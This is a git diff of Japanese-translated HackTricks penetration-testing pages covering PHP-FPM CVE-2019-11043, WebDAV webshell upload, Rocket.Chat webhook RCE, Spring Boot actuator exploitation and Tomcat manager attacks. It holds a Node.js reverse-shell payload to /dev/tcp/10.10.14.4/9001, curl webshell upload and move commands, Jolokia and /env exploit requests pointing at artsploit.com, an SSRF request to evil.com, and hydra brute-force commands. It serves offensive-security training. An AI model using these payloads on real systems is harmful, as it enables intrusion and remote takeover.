構成ファイル内に挿入することで、この作業を行うことができました(サーバーを攻撃して行うことはできません)。しかし、この脆弱性を使用して `PHP_ADMIN_VALUE` 変数から拡張機能を読み込むとプロセスが突然終了したため、このテクニックがまだ有効かどうかはわかりません。 {% endhint %} ### PHP-FPM リモートコード実行脆弱性(CVE-2019–11043) -この脆弱性を [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) を使用して悪用し、この Docker 環境を使用してテストできます:[https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043)。\ -また、この脆弱性の分析を [**こちら**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc) で見つけることができます。 - -
- -**htARTE (HackTricks AWS Red Team Expert)** で AWS ハッキングをゼロからヒーローまで学ぶ - -HackTricks をサポートする他の方法: - -* **HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出する - -
+この脆弱性を [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) を使用して悪用し、この docker 環境を使用してテストできます:[https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043)。\ +また、この脆弱性の分析を[**こちら**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**で見つけることができます。** diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index c6642235a..79ead2a53 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,32 +1,32 @@ # WebDav -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって**強化された**ワークフローを簡単に構築し**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう! +**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
-**HTTPサーバーにWebDavが有効**になっている場合、通常は**HTTPベーシック認証**を介して検証される**正しい資格情報**があれば、**ファイルを操作**することが可能です。このようなサーバーを制御することは、しばしば**Webシェルのアップロードと実行**を含みます。 +**HTTPサーバーがWebDavを有効にした場合、**適切な**資格情報**を持っていれば、**ファイルを操作**することが可能です。これらのサーバーを制御することは、**Webシェルのアップロードと実行**をしばしば含みます。 -WebDavサーバーへのアクセスには通常、**有効な資格情報**が必要であり、それらを取得する一般的な方法として[**WebDavブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth)があります。 +WebDavサーバーへのアクセスには通常、**有効な資格情報**が必要であり、[**WebDavブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth)がそれらを取得する一般的な方法です。 -サーバーサイドスクリプトの実行を防ぐファイルアップロードの制限を克服するためには、次のことができます: +特にサーバーサイドスクリプトの実行を防ぐファイルアップロードの制限を克服するためには、次のことができます: * **実行可能な拡張子**を持つファイルを直接**アップロード**する(制限されていない場合)。 * 実行不可能なファイル(.txtなど)を実行可能な拡張子に**リネーム**する。 @@ -39,9 +39,15 @@ WebDavサーバーへのアクセスには通常、**有効な資格情報**が davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` +```html +![](<../../.gitbook/assets/image (851).png>) + +これは、**.txt** および **.html 拡張子が実行されている** ことを意味するものではありません。これは、これらのファイルに **Web を通じてアクセスできる** ことを意味します。 + ## Cadaver -このツールを使用して、WebDavサーバーに接続し、**手動で**アクション(**アップロード**、**移動**、**削除**)を実行できます。 +このツールを使用して、**WebDav に接続**し、**アップロード**、**移動**、**削除**などのアクションを **手動** で実行できます。 +``` ``` cadaver ``` @@ -53,28 +59,28 @@ curl -T 'shell.txt' 'http://$ip' ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**強化**された**ワークフローを簡単に構築**および**自動化**できます。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## IIS5/6 WebDavの脆弱性 -この脆弱性は非常に興味深いです。**WebDav**は、拡張子**.asp**のファイルを**アップロード**または**名前を変更**することを**許可しません**。しかし、名前の最後に**";.txt"**を追加することで、ファイルは**.aspファイルとして実行**されます(**".txt"の代わりに".html"を使用**することもできますが、**";"を忘れないでください**)。 +この脆弱性は非常に興味深いです。 **WebDav**は、拡張子**.asp**のファイルを**アップロード**または**名前の変更**を許可しません。 ただし、名前の末尾に**";.txt"**を追加することで、ファイルは**.asp**ファイルとして実行されます(**".txt"の代わりに".html"を使用する**こともできますが、**";"を忘れないでください**)。 -その後、シェルを".**txtファイル**"として**アップロード**し、それを".asp;.txt"ファイルに**コピー/移動**できます。Webサーバーを介してそのファイルにアクセスすると、それが**実行**されます(cadaverは移動アクションが機能しなかったと言うかもしれませんが、実際には機能しています)。 +その後、シェルを".**txt"ファイル**としてアップロードし、それを".asp;.txt"ファイルに**コピー/移動**できます。 Webサーバーを介してそのファイルにアクセスすると、それが**実行**されます(cadaverは移動アクションが機能しなかったと言うかもしれませんが、実際には機能しています)。 -![](<../../.gitbook/assets/image (18) (1) (1).png>) +![](<../../.gitbook/assets/image (1092).png>) ## 資格情報の投稿 -WebdavがApacheサーバーを使用している場合は、Apacheで構成されたサイトを確認する必要があります。一般的には:\ +WebdavがApacheサーバーを使用している場合は、Apacheで構成されたサイトを確認する必要があります。 一般的には:\ _**/etc/apache2/sites-enabled/000-default**_ -その中に次のようなものが見つかるかもしれません: +その中に次のようなものが見つかるかもしれません: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -85,11 +91,11 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -以下は、WebDAVサーバーの有効な**資格情報**を持つファイルです: +以下は、**WebDAV**サーバーの有効な**資格情報**が含まれているファイルです: ``` /etc/apache2/users.password ``` -以下の種類のファイルには、**ユーザー名**と**パスワード**の**ハッシュ**が含まれています。これらは、WebDAVサーバーがユーザーを認証するために使用している資格情報です。 +以下の種類のファイルには、**ユーザー名**と**パスワード**のハッシュが含まれています。これらは、WebDAVサーバーがユーザーを認証するために使用している資格情報です。 これらを**解読**したり、何らかの理由で**WebDAV**サーバーに**アクセス**したい場合は、これらを**追加**することができます: ```bash @@ -99,28 +105,28 @@ htpasswd /etc/apache2/users.password #You will be prompted for the pa ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` -## 参考文献 +## 参考 * [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
-htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする** -* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-web/rocket-chat.md b/network-services-pentesting/pentesting-web/rocket-chat.md index 6c3fa6c96..29b0777d8 100644 --- a/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/network-services-pentesting/pentesting-web/rocket-chat.md @@ -2,15 +2,15 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert) からAWSハッキングをゼロからヒーローまで学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出**してください。 +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする +* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
@@ -18,37 +18,35 @@ HackTricks をサポートする他の方法: {% embed url="https://websec.nl/" %} - ## RCE -Rocket Chat内で管理者権限を持っている場合、RCEを取得できます。 +Rocket Chat内で管理者であればRCEを取得できます。 * **`Integrations`** に移動し、**`New Integration`** を選択し、**`Incoming WebHook`** または **`Outgoing WebHook`** を選択します。 * `/admin/integrations/incoming` -
+
-* [ドキュメント](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方ともES2015 / ECMAScript 6([基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。そのため、[nodejs](../../generic-methodologies-and-resources/shells/linux.md#nodejs)の[JavaScript用revシェル](../../generic-methodologies-and-resources/shells/linux.md#nodejs)を取得しましょう。 +* [ドキュメント](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方ともES2015 / ECMAScript 6([基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。そのため、[nodejs](../../generic-methodologies-and-resources/shells/linux.md#nodejs)のようなJavaScript用の[rev shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs)を取得しましょう。 ```javascript const require = console.log.constructor('return process.mainModule.require')(); const { exec } = require('child_process'); exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") ``` -* WebHookを設定します(チャンネルと投稿者名が存在する必要があります): +* WebHookの設定(チャンネルと投稿者名が存在する必要があります): -
+
-* WebHookスクリプトを設定します: +* WebHookスクリプトの設定: -
+
-* 変更を保存します -* 生成されたWebHook URLを取得します: +* 変更を保存 +* 生成されたWebHook URLを取得: -
- -* curlを使用して呼び出し、リバースシェルを受け取るはずです +
+* curlを使用して呼び出し、rev shellを受け取るはずです
@@ -56,14 +54,14 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。 -* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
diff --git a/network-services-pentesting/pentesting-web/spring-actuators.md b/network-services-pentesting/pentesting-web/spring-actuators.md index 1fee96190..855d20d24 100644 --- a/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/network-services-pentesting/pentesting-web/spring-actuators.md @@ -2,46 +2,45 @@
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。 -- **HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
## **Spring Auth Bypass** -
+
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Exploiting Spring Boot Actuators -**Check the original post from** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Key Points:** -- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security. -- Certain Actuator endpoints can expose sensitive data or allow harmful actions: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. -- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path. +* Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security. +* Certain Actuator endpoints can expose sensitive data or allow harmful actions: +* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. +* In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path. ### **Exploitation Techniques:** 1. **Remote Code Execution via '/jolokia'**: -- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans. -- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations. -- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. - +* The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans. +* The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations. +* Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties. -- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL. -- Example exploit POST request: +* If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties. +* Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL. +* Example exploit POST request: ``` POST /env HTTP/1.1 @@ -51,41 +50,38 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` - 3. **Other Useful Settings**: -- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings. +* Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings. ### **Additional Information:** -- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same. +* A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +* The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same. ### **Related Topics:** 1. **Env + H2 RCE**: -- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). - +* Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF). -- Example exploit request: +* The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF). +* Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close -``` - +```
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。 -- **HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
diff --git a/network-services-pentesting/pentesting-web/tomcat/README.md b/network-services-pentesting/pentesting-web/tomcat/README.md index 85ebfa0f4..5f3d89f8b 100644 --- a/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/network-services-pentesting/pentesting-web/tomcat/README.md @@ -4,7 +4,7 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** @@ -25,13 +25,13 @@ * 通常は**ポート8080**で実行されます * **一般的なTomcatエラー:** -
+
## Enumeration ### **バージョン識別** -Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます: +Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行します: ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` @@ -47,7 +47,7 @@ msf> use auxiliary/scanner/http/tomcat_enum ``` ### **デフォルトの資格情報** -**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があり、特に機密性が高いです。このディレクトリは基本的なHTTP認証で保護されており、一般的な資格情報は以下の通りです: +**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです: * admin:admin * tomcat:tomcat @@ -60,11 +60,11 @@ msf> use auxiliary/scanner/http/tomcat_enum ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` -別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定を支援します。 +別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定に役立ちます。 ### **ブルートフォース攻撃** -マネージャディレクトリに対してブルートフォース攻撃を試みるには、次のようにします: +マネージャディレクトリに対するブルートフォース攻撃を試みるには、次のようにします: ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html ``` @@ -78,13 +78,13 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1 ### **ダブルURLエンコーディング** -`mod_jk` の CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパス遍歴が可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。 +`mod_jk` のCVE-2007-1860脆弱性により、ダブルURLエンコーディングパス遍歴が可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。 -Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。 +Tomcatの管理ウェブにアクセスするには、次のように進みます:`pathTomcat/%252E%252E/manager/html` ### /examples -Apache Tomcat バージョン 4.x から 7.x 